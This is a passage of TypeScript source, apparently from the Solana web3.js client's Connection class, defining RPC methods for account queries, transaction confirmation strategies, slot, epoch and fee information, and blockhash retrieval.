accounts');\n }\n return res.result;\n }\n\n /**\n * Fetch the 20 largest token accounts with their current balances\n * for a given mint.\n */\n async getTokenLargestAccounts(\n mintAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<Array<TokenAccountBalancePair>>> {\n const args = this._buildArgs([mintAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenLargestAccounts', args);\n const res = create(unsafeRes, GetTokenLargestAccountsResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get token largest accounts',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for the specified public key, return with context\n */\n async getAccountInfoAndContext(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<RpcResponseAndContext<AccountInfo<Buffer> | null>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n 'base64',\n config,\n );\n const unsafeRes = await this._rpcRequest('getAccountInfo', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(nullable(AccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info about account ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed account info for the specified public key\n */\n async getParsedAccountInfo(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<\n RpcResponseAndContext<AccountInfo<Buffer | ParsedAccountData> | null>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getAccountInfo', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(nullable(ParsedAccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info about account ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for the specified public key\n */\n async getAccountInfo(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<AccountInfo<Buffer> | null> {\n try {\n const res = await this.getAccountInfoAndContext(\n publicKey,\n commitmentOrConfig,\n );\n return res.value;\n } catch (e) {\n throw new Error(\n 'failed to get info about account ' + publicKey.toBase58() + ': ' + e,\n );\n }\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys, return with context\n */\n async getMultipleParsedAccounts(\n publicKeys: PublicKey[],\n rawConfig?: GetMultipleAccountsConfig,\n ): Promise<\n RpcResponseAndContext<(AccountInfo<Buffer | ParsedAccountData> | null)[]>\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const keys = publicKeys.map(key => key.toBase58());\n const args = this._buildArgs([keys], commitment, 'jsonParsed', config);\n const unsafeRes = await this._rpcRequest('getMultipleAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(array(nullable(ParsedAccountInfoResult))),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info for accounts ${keys}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys, return with context\n */\n async getMultipleAccountsInfoAndContext(\n publicKeys: PublicKey[],\n commitmentOrConfig?: Commitment | GetMultipleAccountsConfig,\n ): Promise<RpcResponseAndContext<(AccountInfo<Buffer> | null)[]>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const keys = publicKeys.map(key => key.toBase58());\n const args = this._buildArgs([keys], commitment, 'base64', config);\n const unsafeRes = await this._rpcRequest('getMultipleAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(array(nullable(AccountInfoResult))),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info for accounts ${keys}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys\n */\n async getMultipleAccountsInfo(\n publicKeys: PublicKey[],\n commitmentOrConfig?: Commitment | GetMultipleAccountsConfig,\n ): Promise<(AccountInfo<Buffer> | null)[]> {\n const res = await this.getMultipleAccountsInfoAndContext(\n publicKeys,\n commitmentOrConfig,\n );\n return res.value;\n }\n\n /**\n * Returns epoch activation information for a stake account that has been delegated\n *\n * @deprecated Deprecated since RPC v1.18; will be removed in a future version.\n */\n async getStakeActivation(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetStakeActivationConfig,\n epoch?: number,\n ): Promise<StakeActivationData> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n undefined /* encoding */,\n {\n ...config,\n epoch: epoch != null ? epoch : config?.epoch,\n },\n );\n\n const unsafeRes = await this._rpcRequest('getStakeActivation', args);\n const res = create(unsafeRes, jsonRpcResult(StakeActivationResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get Stake Activation ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the accounts owned by the specified program id\n *\n * @return {Promise<Array<{pubkey: PublicKey, account: AccountInfo<Buffer>}>>}\n */\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment: GetProgramAccountsConfig &\n Readonly<{withContext: true}>,\n ): Promise<RpcResponseAndContext<GetProgramAccountsResponse>>;\n // eslint-disable-next-line no-dupe-class-members\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetProgramAccountsConfig | Commitment,\n ): Promise<GetProgramAccountsResponse>;\n // eslint-disable-next-line no-dupe-class-members\n async getProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetProgramAccountsConfig | Commitment,\n ): Promise<\n | GetProgramAccountsResponse\n | RpcResponseAndContext<GetProgramAccountsResponse>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(configOrCommitment);\n const {encoding, ...configWithoutEncoding} = config || {};\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment,\n encoding || 'base64',\n {\n ...configWithoutEncoding,\n ...(configWithoutEncoding.filters\n ? {\n filters: applyDefaultMemcmpEncodingToFilters(\n configWithoutEncoding.filters,\n ),\n }\n : null),\n },\n );\n const unsafeRes = await this._rpcRequest('getProgramAccounts', args);\n const baseSchema = array(KeyedAccountInfoResult);\n const res =\n configWithoutEncoding.withContext === true\n ? create(unsafeRes, jsonRpcResultAndContext(baseSchema))\n : create(unsafeRes, jsonRpcResult(baseSchema));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get accounts owned by program ${programId.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch and parse all the accounts owned by the specified program id\n *\n * @return {Promise<Array<{pubkey: PublicKey, account: AccountInfo<Buffer | ParsedAccountData>}>>}\n */\n async getParsedProgramAccounts(\n programId: PublicKey,\n configOrCommitment?: GetParsedProgramAccountsConfig | Commitment,\n ): Promise<\n Array<{\n pubkey: PublicKey;\n account: AccountInfo<Buffer | ParsedAccountData>;\n }>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(configOrCommitment);\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getProgramAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResult(array(KeyedParsedAccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get accounts owned by program ${programId.toBase58()}`,\n );\n }\n return res.result;\n }\n\n confirmTransaction(\n strategy: TransactionConfirmationStrategy,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>>;\n\n /** @deprecated Instead, call `confirmTransaction` and pass in {@link TransactionConfirmationStrategy} */\n // eslint-disable-next-line no-dupe-class-members\n confirmTransaction(\n strategy: TransactionSignature,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>>;\n\n // eslint-disable-next-line no-dupe-class-members\n async confirmTransaction(\n strategy: TransactionConfirmationStrategy | TransactionSignature,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<SignatureResult>> {\n let rawSignature: string;\n\n if (typeof strategy == 'string') {\n rawSignature = strategy;\n } else {\n const config = strategy as TransactionConfirmationStrategy;\n\n if (config.abortSignal?.aborted) {\n return Promise.reject(config.abortSignal.reason);\n }\n rawSignature = config.signature;\n }\n\n let decodedSignature;\n\n try {\n decodedSignature = bs58.decode(rawSignature);\n } catch (err) {\n throw new Error('signature must be base58 encoded: ' + rawSignature);\n }\n\n assert(decodedSignature.length === 64, 'signature has invalid length');\n\n if (typeof strategy === 'string') {\n return await this.confirmTransactionUsingLegacyTimeoutStrategy({\n commitment: commitment || this.commitment,\n signature: rawSignature,\n });\n } else if ('lastValidBlockHeight' in strategy) {\n return await this.confirmTransactionUsingBlockHeightExceedanceStrategy({\n commitment: commitment || this.commitment,\n strategy,\n });\n } else {\n return await this.confirmTransactionUsingDurableNonceStrategy({\n commitment: commitment || this.commitment,\n strategy,\n });\n }\n }\n\n private getCancellationPromise(signal?: AbortSignal): Promise<never> {\n return new Promise<never>((_, reject) => {\n if (signal == null) {\n return;\n }\n if (signal.aborted) {\n reject(signal.reason);\n } else {\n signal.addEventListener('abort', () => {\n reject(signal.reason);\n });\n }\n });\n }\n\n private getTransactionConfirmationPromise({\n commitment,\n signature,\n }: {\n commitment?: Commitment;\n signature: string;\n }): {\n abortConfirmation(): void;\n confirmationPromise: Promise<{\n __type: TransactionStatus.PROCESSED;\n response: RpcResponseAndContext<SignatureResult>;\n }>;\n } {\n let signatureSubscriptionId: number | undefined;\n let disposeSignatureSubscriptionStateChangeObserver:\n | SubscriptionStateChangeDisposeFn\n | undefined;\n let done = false;\n const confirmationPromise = new Promise<{\n __type: TransactionStatus.PROCESSED;\n response: RpcResponseAndContext<SignatureResult>;\n }>((resolve, reject) => {\n try {\n signatureSubscriptionId = this.onSignature(\n signature,\n (result: SignatureResult, context: Context) => {\n signatureSubscriptionId = undefined;\n const response = {\n context,\n value: result,\n };\n resolve({__type: TransactionStatus.PROCESSED, response});\n },\n commitment,\n );\n const subscriptionSetupPromise = new Promise<void>(\n resolveSubscriptionSetup => {\n if (signatureSubscriptionId == null) {\n resolveSubscriptionSetup();\n } else {\n disposeSignatureSubscriptionStateChangeObserver =\n this._onSubscriptionStateChange(\n signatureSubscriptionId,\n nextState => {\n if (nextState === 'subscribed') {\n resolveSubscriptionSetup();\n }\n },\n );\n }\n },\n );\n (async () => {\n await subscriptionSetupPromise;\n if (done) return;\n const response = await this.getSignatureStatus(signature);\n if (done) return;\n if (response == null) {\n return;\n }\n const {context, value} = response;\n if (value == null) {\n return;\n }\n if (value?.err) {\n reject(value.err);\n } else {\n switch (commitment) {\n case 'confirmed':\n case 'single':\n case 'singleGossip': {\n if (value.confirmationStatus === 'processed') {\n return;\n }\n break;\n }\n case 'finalized':\n case 'max':\n case 'root': {\n if (\n value.confirmationStatus === 'processed' ||\n value.confirmationStatus === 'confirmed'\n ) {\n return;\n }\n break;\n }\n // exhaust enums to ensure full coverage\n case 'processed':\n case 'recent':\n }\n done = true;\n resolve({\n __type: TransactionStatus.PROCESSED,\n response: {\n context,\n value,\n },\n });\n }\n })();\n } catch (err) {\n reject(err);\n }\n });\n const abortConfirmation = () => {\n if (disposeSignatureSubscriptionStateChangeObserver) {\n disposeSignatureSubscriptionStateChangeObserver();\n disposeSignatureSubscriptionStateChangeObserver = undefined;\n }\n if (signatureSubscriptionId != null) {\n this.removeSignatureListener(signatureSubscriptionId);\n signatureSubscriptionId = undefined;\n }\n };\n return {abortConfirmation, confirmationPromise};\n }\n\n private async confirmTransactionUsingBlockHeightExceedanceStrategy({\n commitment,\n strategy: {abortSignal, lastValidBlockHeight, signature},\n }: {\n commitment?: Commitment;\n strategy: BlockheightBasedTransactionConfirmationStrategy;\n }) {\n let done: boolean = false;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.BLOCKHEIGHT_EXCEEDED;\n }>(resolve => {\n const checkBlockHeight = async () => {\n try {\n const blockHeight = await this.getBlockHeight(commitment);\n return blockHeight;\n } catch (_e) {\n return -1;\n }\n };\n (async () => {\n let currentBlockHeight = await checkBlockHeight();\n if (done) return;\n while (currentBlockHeight <= lastValidBlockHeight) {\n await sleep(1000);\n if (done) return;\n currentBlockHeight = await checkBlockHeight();\n if (done) return;\n }\n resolve({__type: TransactionStatus.BLOCKHEIGHT_EXCEEDED});\n })();\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({commitment, signature});\n const cancellationPromise = this.getCancellationPromise(abortSignal);\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([\n cancellationPromise,\n confirmationPromise,\n expiryPromise,\n ]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n throw new TransactionExpiredBlockheightExceededError(signature);\n }\n } finally {\n done = true;\n abortConfirmation();\n }\n return result;\n }\n\n private async confirmTransactionUsingDurableNonceStrategy({\n commitment,\n strategy: {\n abortSignal,\n minContextSlot,\n nonceAccountPubkey,\n nonceValue,\n signature,\n },\n }: {\n commitment?: Commitment;\n strategy: DurableNonceTransactionConfirmationStrategy;\n }) {\n let done: boolean = false;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.NONCE_INVALID;\n slotInWhichNonceDidAdvance: number | null;\n }>(resolve => {\n let currentNonceValue: string | undefined = nonceValue;\n let lastCheckedSlot: number | null = null;\n const getCurrentNonceValue = async () => {\n try {\n const {context, value: nonceAccount} = await this.getNonceAndContext(\n nonceAccountPubkey,\n {\n commitment,\n minContextSlot,\n },\n );\n lastCheckedSlot = context.slot;\n return nonceAccount?.nonce;\n } catch (e) {\n // If for whatever reason we can't reach/read the nonce\n // account, just keep using the last-known value.\n return currentNonceValue;\n }\n };\n (async () => {\n currentNonceValue = await getCurrentNonceValue();\n if (done) return;\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n if (nonceValue !== currentNonceValue) {\n resolve({\n __type: TransactionStatus.NONCE_INVALID,\n slotInWhichNonceDidAdvance: lastCheckedSlot,\n });\n return;\n }\n await sleep(2000);\n if (done) return;\n currentNonceValue = await getCurrentNonceValue();\n if (done) return;\n }\n })();\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({commitment, signature});\n const cancellationPromise = this.getCancellationPromise(abortSignal);\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([\n cancellationPromise,\n confirmationPromise,\n expiryPromise,\n ]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n // Double check that the transaction is indeed unconfirmed.\n let signatureStatus:\n | RpcResponseAndContext<SignatureStatus | null>\n | null\n | undefined;\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n const status = await this.getSignatureStatus(signature);\n if (status == null) {\n break;\n }\n if (\n status.context.slot <\n (outcome.slotInWhichNonceDidAdvance ?? minContextSlot)\n ) {\n await sleep(400);\n continue;\n }\n signatureStatus = status;\n break;\n }\n if (signatureStatus?.value) {\n const commitmentForStatus = commitment || 'finalized';\n const {confirmationStatus} = signatureStatus.value;\n switch (commitmentForStatus) {\n case 'processed':\n case 'recent':\n if (\n confirmationStatus !== 'processed' &&\n confirmationStatus !== 'confirmed' &&\n confirmationStatus !== 'finalized'\n ) {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n case 'confirmed':\n case 'single':\n case 'singleGossip':\n if (\n confirmationStatus !== 'confirmed' &&\n confirmationStatus !== 'finalized'\n ) {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n case 'finalized':\n case 'max':\n case 'root':\n if (confirmationStatus !== 'finalized') {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n break;\n default:\n // Exhaustive switch.\n // eslint-disable-next-line @typescript-eslint/no-unused-vars\n ((_: never) => {})(commitmentForStatus);\n }\n result = {\n context: signatureStatus.context,\n value: {err: signatureStatus.value.err},\n };\n } else {\n throw new TransactionExpiredNonceInvalidError(signature);\n }\n }\n } finally {\n done = true;\n abortConfirmation();\n }\n return result;\n }\n\n private async confirmTransactionUsingLegacyTimeoutStrategy({\n commitment,\n signature,\n }: {\n commitment?: Commitment;\n signature: string;\n }) {\n let timeoutId;\n const expiryPromise = new Promise<{\n __type: TransactionStatus.TIMED_OUT;\n timeoutMs: number;\n }>(resolve => {\n let timeoutMs = this._confirmTransactionInitialTimeout || 60 * 1000;\n switch (commitment) {\n case 'processed':\n case 'recent':\n case 'single':\n case 'confirmed':\n case 'singleGossip': {\n timeoutMs = this._confirmTransactionInitialTimeout || 30 * 1000;\n break;\n }\n // exhaust enums to ensure full coverage\n case 'finalized':\n case 'max':\n case 'root':\n }\n timeoutId = setTimeout(\n () => resolve({__type: TransactionStatus.TIMED_OUT, timeoutMs}),\n timeoutMs,\n );\n });\n const {abortConfirmation, confirmationPromise} =\n this.getTransactionConfirmationPromise({\n commitment,\n signature,\n });\n let result: RpcResponseAndContext<SignatureResult>;\n try {\n const outcome = await Promise.race([confirmationPromise, expiryPromise]);\n if (outcome.__type === TransactionStatus.PROCESSED) {\n result = outcome.response;\n } else {\n throw new TransactionExpiredTimeoutError(\n signature,\n outcome.timeoutMs / 1000,\n );\n }\n } finally {\n clearTimeout(timeoutId);\n abortConfirmation();\n }\n return result;\n }\n\n /**\n * Return the list of nodes that are currently participating in the cluster\n */\n async getClusterNodes(): Promise<Array<ContactInfo>> {\n const unsafeRes = await this._rpcRequest('getClusterNodes', []);\n const res = create(unsafeRes, jsonRpcResult(array(ContactInfoResult)));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get cluster nodes');\n }\n return res.result;\n }\n\n /**\n * Return the list of nodes that are currently participating in the cluster\n */\n async getVoteAccounts(commitment?: Commitment): Promise<VoteAccountStatus> {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getVoteAccounts', args);\n const res = create(unsafeRes, GetVoteAccounts);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get vote accounts');\n }\n return res.result;\n }\n\n /**\n * Fetch the current slot that the node is processing\n */\n async getSlot(\n commitmentOrConfig?: Commitment | GetSlotConfig,\n ): Promise<number> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getSlot', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot');\n }\n return res.result;\n }\n\n /**\n * Fetch the current slot leader of the cluster\n */\n async getSlotLeader(\n commitmentOrConfig?: Commitment | GetSlotLeaderConfig,\n ): Promise<string> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getSlotLeader', args);\n const res = create(unsafeRes, jsonRpcResult(string()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot leader');\n }\n return res.result;\n }\n\n /**\n * Fetch `limit` number of slot leaders starting from `startSlot`\n *\n * @param startSlot fetch slot leaders starting from this slot\n * @param limit number of slot leaders to return\n */\n async getSlotLeaders(\n startSlot: number,\n limit: number,\n ): Promise<Array<PublicKey>> {\n const args = [startSlot, limit];\n const unsafeRes = await this._rpcRequest('getSlotLeaders', args);\n const res = create(unsafeRes, jsonRpcResult(array(PublicKeyFromString)));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get slot leaders');\n }\n return res.result;\n }\n\n /**\n * Fetch the current status of a signature\n */\n async getSignatureStatus(\n signature: TransactionSignature,\n config?: SignatureStatusConfig,\n ): Promise<RpcResponseAndContext<SignatureStatus | null>> {\n const {context, value: values} = await this.getSignatureStatuses(\n [signature],\n config,\n );\n assert(values.length === 1);\n const value = values[0];\n return {context, value};\n }\n\n /**\n * Fetch the current statuses of a batch of signatures\n */\n async getSignatureStatuses(\n signatures: Array<TransactionSignature>,\n config?: SignatureStatusConfig,\n ): Promise<RpcResponseAndContext<Array<SignatureStatus | null>>> {\n const params: any[] = [signatures];\n if (config) {\n params.push(config);\n }\n const unsafeRes = await this._rpcRequest('getSignatureStatuses', params);\n const res = create(unsafeRes, GetSignatureStatusesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get signature status');\n }\n return res.result;\n }\n\n /**\n * Fetch the current transaction count of the cluster\n */\n async getTransactionCount(\n commitmentOrConfig?: Commitment | GetTransactionCountConfig,\n ): Promise<number> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransactionCount', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get transaction count',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the current total currency supply of the cluster in lamports\n *\n * @deprecated Deprecated since RPC v1.2.8. Please use {@link getSupply} instead.\n */\n async getTotalSupply(commitment?: Commitment): Promise<number> {\n const result = await this.getSupply({\n commitment,\n excludeNonCirculatingAccountsList: true,\n });\n return result.value.total;\n }\n\n /**\n * Fetch the cluster InflationGovernor parameters\n */\n async getInflationGovernor(\n commitment?: Commitment,\n ): Promise<InflationGovernor> {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getInflationGovernor', args);\n const res = create(unsafeRes, GetInflationGovernorRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation');\n }\n return res.result;\n }\n\n /**\n * Fetch the inflation reward for a list of addresses for an epoch\n */\n async getInflationReward(\n addresses: PublicKey[],\n epoch?: number,\n commitmentOrConfig?: Commitment | GetInflationRewardConfig,\n ): Promise<(InflationReward | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [addresses.map(pubkey => pubkey.toBase58())],\n commitment,\n undefined /* encoding */,\n {\n ...config,\n epoch: epoch != null ? epoch : config?.epoch,\n },\n );\n const unsafeRes = await this._rpcRequest('getInflationReward', args);\n const res = create(unsafeRes, GetInflationRewardResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation reward');\n }\n return res.result;\n }\n\n /**\n * Fetch the specific inflation values for the current epoch\n */\n async getInflationRate(): Promise<InflationRate> {\n const unsafeRes = await this._rpcRequest('getInflationRate', []);\n const res = create(unsafeRes, GetInflationRateRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get inflation rate');\n }\n return res.result;\n }\n\n /**\n * Fetch the Epoch Info parameters\n */\n async getEpochInfo(\n commitmentOrConfig?: Commitment | GetEpochInfoConfig,\n ): Promise<EpochInfo> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getEpochInfo', args);\n const res = create(unsafeRes, GetEpochInfoRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get epoch info');\n }\n return res.result;\n }\n\n /**\n * Fetch the Epoch Schedule parameters\n */\n async getEpochSchedule(): Promise<EpochSchedule> {\n const unsafeRes = await this._rpcRequest('getEpochSchedule', []);\n const res = create(unsafeRes, GetEpochScheduleRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get epoch schedule');\n }\n const epochSchedule = res.result;\n return new EpochSchedule(\n epochSchedule.slotsPerEpoch,\n epochSchedule.leaderScheduleSlotOffset,\n epochSchedule.warmup,\n epochSchedule.firstNormalEpoch,\n epochSchedule.firstNormalSlot,\n );\n }\n\n /**\n * Fetch the leader schedule for the current epoch\n * @return {Promise<RpcResponseAndContext<LeaderSchedule>>}\n */\n async getLeaderSchedule(): Promise<LeaderSchedule> {\n const unsafeRes = await this._rpcRequest('getLeaderSchedule', []);\n const res = create(unsafeRes, GetLeaderScheduleRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get leader schedule');\n }\n return res.result;\n }\n\n /**\n * Fetch the minimum balance needed to exempt an account of `dataLength`\n * size from rent\n */\n async getMinimumBalanceForRentExemption(\n dataLength: number,\n commitment?: Commitment,\n ): Promise<number> {\n const args = this._buildArgs([dataLength], commitment);\n const unsafeRes = await this._rpcRequest(\n 'getMinimumBalanceForRentExemption',\n args,\n );\n const res = create(unsafeRes, GetMinimumBalanceForRentExemptionRpcResult);\n if ('error' in res) {\n console.warn('Unable to fetch minimum balance for rent exemption');\n return 0;\n }\n return res.result;\n }\n\n /**\n * Fetch a recent blockhash from the cluster, return with context\n * @return {Promise<RpcResponseAndContext<{blockhash: Blockhash, feeCalculator: FeeCalculator}>>}\n *\n * @deprecated Deprecated since RPC v1.9.0. Please use {@link getLatestBlockhash} instead.\n */\n async getRecentBlockhashAndContext(commitment?: Commitment): Promise<\n RpcResponseAndContext<{\n blockhash: Blockhash;\n feeCalculator: FeeCalculator;\n }>\n > {\n const args = this._buildArgs([], commitment);\n const unsafeRes = await this._rpcRequest('getRecentBlockhash', args);\n const res = create(unsafeRes, GetRecentBlockhashAndContextRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get recent blockhash');\n }\n return res.result;\n }\n\n /**\n * Fetch recent performance samples\n * @return {Promise<Array<PerfSample>>}\n */\n async getRecentPerformanceSamples(\n limit?: number,\n ): Promise<Array<PerfSample>> {\n const unsafeRes = await this._rpcRequest(\n 'getRecentPerformanceSamples',\n limit ? [limit] : [],\n );\n const res = create(unsafeRes, GetRecentPerformanceSamplesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get recent performance samples',\n );\n }\n\n return res.result;\n }\n\n /**\n * Fetch the fee calculator for a recent blockhash from the cluster, return with context\n *\n * @deprecated Deprecated since RPC v1.9.0. Please use {@link getFeeForMessage} instead.\n */\n async getFeeCalculatorForBlockhash(\n blockhash: Blockhash,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<FeeCalculator | null>> {\n const args = this._buildArgs([blockhash], commitment);\n const unsafeRes = await this._rpcRequest(\n 'getFeeCalculatorForBlockhash',\n args,\n );\n\n const res = create(unsafeRes, GetFeeCalculatorRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get fee calculator');\n }\n const {context, value} = res.result;\n return {\n context,\n value: value !== null ? value.feeCalculator : null,\n };\n }\n\n /**\n * Fetch the fee for a message from the cluster, return with context\n */\n async getFeeForMessage(\n message: VersionedMessage,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<number | null>> {\n const wireMessage = toBuffer(message.serialize()).toString('base64');\n const args = this._buildArgs([wireMessage], commitment);\n const unsafeRes = await this._rpcRequest('getFeeForMessage', args);\n\n const res = create(unsafeRes, jsonRpcResultAndContext(nullable(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get fee for message');\n }\n if (res.result === null) {\n throw new Error('invalid blockhash');\n }\n return res.result;\n }\n\n /**\n * Fetch a list of prioritization fees from recent blocks.\n */\n async getRecentPrioritizationFees(\n config?: GetRecentPrioritizationFeesConfig,\n ): Promise<RecentPrioritizationFees[]> {\n const accounts = config?.lockedWritableAccounts?.map(key => key.toBase58());\n const args = accounts?.length ? [accounts] : [];\n const unsafeRes = await this._rpcRequest(\n 'getRecentPrioritizationFees',\n args,\n );\n const res = create(unsafeRes, GetRecentPrioritizationFeesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get recent prioritization fees',\n );\n }\n return res.result;\n }\n /**\n * Fetch a recent blockhash from the cluster\n * @return {Promise<{blockhash: Blockhash, feeCalculator: FeeCalculator}>}\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link getLatestBlockhash} instead.\n */\n async getRecentBlockhash(\n commitment?: Commitment,\n ): Promise<{blockhash: Blockhash; feeCalculator: FeeCalculator}> {\n try {\n const res = await this.getRecentBlockhashAndContext(commitment);\n return res.value;\n } catch (e) {\n throw new Error('failed to get recent blockhash: ' + e);\n }\n }\n\n /**\n * Fetch the latest blockhash from the cluster\n * @return {Promise<BlockhashWithExpiryBlockHeight>}\n */\n async getLatestBlockhash(\n commitmentOrConfig?: Commitment | GetLatestBlockhashConfig,\n ): Promise<BlockhashWithExpiryBlockHeight> {\n try {\n const res = await this.getLatestBlockhashAndContext(commitmentOrConfig);\n return res.value;\n } catch (e) {\n throw new Error('failed to get recent blockhash: ' + e);\n }\n }\n\n /**\n * Fetch the latest blockhash from the cluster\n * @return {Promise<BlockhashWithExpiryBlockHeight>}\n */\n async getLatestBlockhashAndContext(\n commitmentOrConfig?: Commitment | GetLatestBlockhashConfig,\n ): Promise<RpcResponseAndContext<BlockhashWithExpiryBlockHeight>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getLatestBlockhash', args);\n const res = create(unsafeRes, GetLatestBlockhashRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get latest blockhash');\n }\n return res.result;\n }\n\n /**\n * Returns whether a blockhash is still valid or not\n */\n async isBlockhashValid(\n 